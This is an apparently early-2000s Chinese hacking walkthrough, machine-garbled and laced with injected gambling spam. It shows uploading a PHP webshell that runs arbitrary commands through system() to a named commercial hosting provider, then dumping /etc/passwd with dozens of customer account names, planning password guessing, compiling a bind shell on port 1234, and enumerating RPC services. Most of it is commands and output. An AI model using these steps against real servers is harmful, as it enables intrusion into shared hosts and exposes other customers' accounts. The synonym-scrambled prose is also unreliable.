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和记娱乐安卓下载和:构建Linux下的安全,PHP配置漏洞攻击



这些站点的问题主要出在容许应用system(),exec()等等这些函数,认识php的同伙应该知道,这些函数是调用系统指令的(虽然经由过程web server php法度榜样只能有nobody权限),而且一样平常用户只要申请一个空间就可以获取局部的可写权限,令用户可以写一个web shell法度榜样履行敕令.在这些办事器上一样平常用户不能够登岸,也便是nologin(没有登岸shell,治理员可没那么"慷慨"!),这样使用system(),exec()这些函数就可以bind一个shell出来~!本文以虎翼网(www.51.net)的空间为例子(他是不是所有的办事器都有这个搭档我不知道~我只试验了我的空间所在的办事器):

1.写一个webshell先(php很轻易做到)

?>php

#shell.php3

echo"

";

system("$cmd");

echo"";

?>

2.上传到空间

3.履行(详细的办事器马赛克处置惩罚)

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=id (看一下权限到底多大年夜)

uid=171047(xxxx) gid=51(xxx) groups=51(xxx), 65534(nobody)

root真的很吝啬啊!

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=uname -ras(看看系统)

FreeBSD xxx.51.net 3.3-RELEASE FreeBSD 3.3-RELEASE #11: Tue Mar 20

00:58:09 CST 2001 root@51.net:/usr/src/sys/compile/51NET i386

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat

/etc/passwd(shadow是铁定看不到)

root:*:0:0:Charlie &:/root:/bin/csh

toor:*:0:0:Bourne-again Superuser:/root:

daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin

operator:*:2:5:System &:/:/sbin/nologin

bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin

tty:*:107353:51:USER:/home/tty:/local/bin/null

kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin

games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin

news:*:8:8:News Subsystem:/:/sbin/nologin

man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin

bind:*:53:53:Bind Sandbox:/:/sbin/nologin

uucp:*:66:66:UUCP

pseudo-user:/var/spool/uucppublic:/usr/li和记娱乐安卓下载和bexec/uucp/uucico

xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin

pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin

ftp:*:70:70:FTP Daemon:/nonexistent:/sbin/nologin

nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin

quotauser1:*:997:51:quotauser:/home/quotauser1:/sbin/nologin

quotauser2:*:998:51:quotauser:/home/quotauser2:/sbin/nologin

quotauser3:*:999:51:quotauser:/home/quotauser3:/sbin/nologin

tian:*:1002:1002::/local/tian:/local/bin/ksh

sysadmin:*:1001:1001:System

Administrator:/local/sysadmin:/local/bin/ksh

test2:*:9999:51::/home/test2:/local/bin/null

xhjj:*:106200:51:USER:/home/xhjj:/sbin/nologin

zhinan:*:106201:51:USER:/home/zhinan:/local/bin/nu和记娱乐安卓下载和ll

yes2:*:106202:51:USER:/home/yes2:/local/bin/null

daboy:*:106203:51:USER:/home/daboy:/local/bin/null

yesky:*:106204:51:USER:/home/yesky:/local/bin/null

yesk:*:106205:51:USER:/home/yesk:/local/bin/null

lnsyzzg:*:106206:51:USER:/home/lnsyzzg:/local/bin/null

fog:*:106207:51:USER:/home/fog:/local/bin/null

renshou:*:106208:51:USER:/home/renshou:/local/bin/null

hilen:*:106209:51:USER:/home/hilen:/local/bin/null

hapybird:*:106210:51:USER:/home/hapybird:/sbin/nologin

xiewei:*:106211:51:USER:/home/xiewei:/sbin/nologin

wwwer:*:106212:51:USER:/home/wwwer:/local/bin/null

larry:*:106213:51:USER:/home/larry:/local/bin/null

sunboys:*:106214:51:USER:/home/sunboys:/local/bin/和记娱乐安卓下载和null

everydayyuki:*:106215:51:USER:/home/everydayyuki:/local/bin/null

linguanxi:*:106216:51:USER:/home/linguanxi:/local/bin/null

baobao:*:106217:51:USER:/home/baobao:/local/bin/null

chaoshan:*:106218:51:USER:/home/chaoshan:/local/bin/null

hrstudio:*:106219:51:USER:/home/hrstudio:/local/bin/null

dengxian:*:106220:51:USER:/home/dengxian:/local/bin/null

simonstone:*:106221:51:USER:/home/simonstone:/local/bin/null

chenjian:*:106222:51:USER:/home/chenjian:/local/bin/null

lvxiangml:*:106223:51:USER:/home/lvxiangml:/local/bin/null

zzbxaxa:*:106224:51:USER:/home/zzbxaxa:/local/bin/null

pc2000:*:106225:51:USER:/home/pc2000:/local/bin/null

startexcel:*:106226:51:USER:/home/startexcel:/local/bin/null

model:*:106227:51:USER:/home/model:/local/bin/null

leogirl:*:106228:51:USER:/home/leogirl:/local/bin/null

fohcn:*:106229:51:USER:/home/fohcn:/local/bin/null

ljok:*:106230:51:USER:/home/ljok:/local/bin/null

baorui:*:106231:51:USER:/home/baorui:/local/bin/null

fky-jack:*:106232:51:USER:/home/fky-jack:/local/bin/null

zhaowen:*:106233:51:USER:/home/zhaowen:/local/bin/null

xiaojiaoya:*:106234:51:USER:/home/xiaojiaoya:/local/bin/null

zyinter:*:106235:51:USER:/home/zyinter:/local/bin/null

power:*:106236:51:USER:/home/power:/local/bin/null

feefan:*:106237:51:USER:/home/feefan:/local/bin/null

paradise:*:106238:51:USER:/home/paradise:/local/bin/null

wulc:*:106239:51:USER:/home/wulc:/local/bin/null

jcm:*:106240:51:USER:/home/jcm:/local/bin/null

liangxiaom:*:106241:51:USER:/home/liangxiaom:/local/bin/null

jingder:*:106242:51:USER:/home/jingder:/local/bin/null

hanjun:*:106243:51:USER:/home/hanjun:/local/bin/null

adai:*:106244:51:USER:/home/adai:/local/bin/null

fightben:*:106245:51:USER:和记娱乐安卓下载和/home/fightben:/local/bin/null

lihonghui-ooo:*:106246:51:USER:/home/lihonghui-ooo:/local/bin/null

xeno:*:106247:51:USER:/home/xeno:/local/bin/null

..................(太多了~省略)

只有几个用户有shell可以登岸,cp到我的目录下面,等一下分离出usrename看看有没有人username=passwd的~呵呵~

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=set

HOME=/

PS1=$

OPTIND=1

PS2=>

PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin

IFS=

好差的"情况",被设置成这样....

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat /etc/hosts

# $FreeBSD: src/etc/hosts,v 1.9.2.1 1999/08/29 14:18:44 peter Exp $

#

# Host Database

# This file should contain the addresses and aliases

# for local hosts that share this file.

# In the presence of the domain name service or NIS, this file may

# not be consulted at all; see /etc/host.conf for the resolution

order.

#

#

127.0.0.1 localhost localhost.my.domain myname.my.domain

#

# Imaginary network.

#10.0.0.2 myname.my.domain myname

#10.0.0.3 myfriend.my.domain myfriend

#

# According to RFC 1918, you can use the following IP networks for

# private nets which will never be connected to the Internet:

#

# 10.0.0.0 - 10.255.255.255

# 172.16.0.0 - 172.31.255.255

# 192.168.0.0 - 192.168.255.255

#

#

不算太小啊~hosts ~

lynx http://xxx.51.n和记娱乐安卓下载和et/cgi-bin/shell.php?cmd=whereis -b gcc

(老天保佑~有gcc)

gcc:/usr/sbin/gcc(万岁!!!!!!!!!!!!)

我来碰命运运限~弄一个大年夜家伙上去,编译一下,哈哈~速率好快!

webshell太累了,bind一个shell出来方便一点...(上传binshell法度榜样,自己写也可以用perl/C,都不太难)

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=gcc -o bind bindshell.c

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=./bind 1234

bind shell too port 1234

telnet xxx.51.net 1234

.....下面省略,反正就可以履行敕令了

嗯~似乎这台没装MySQL,可惜~呵呵~~~~~~~~~,对了oso.com.cn的似乎有~,不过近来停了.....

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=/usr/sbin/rpcinfo -p

localhost

portmapper 100000 portmap sunrpc

rstatd 100001 rstat rstat_svc rup perfmeter

rusersd 100002 rusers

nfs 100003 nfsprog

ypserv 100004 ypprog

mountd 100005 mount showmount

ypbind 100007

walld 100008 rwall shutdown

yppasswdd 100009 yppasswd

etherstatd 100010 etherstat

rquotad 100011 rquotaprog quota rquota

sprayd 100012 spray

3270_mapper 100013

rje_ma

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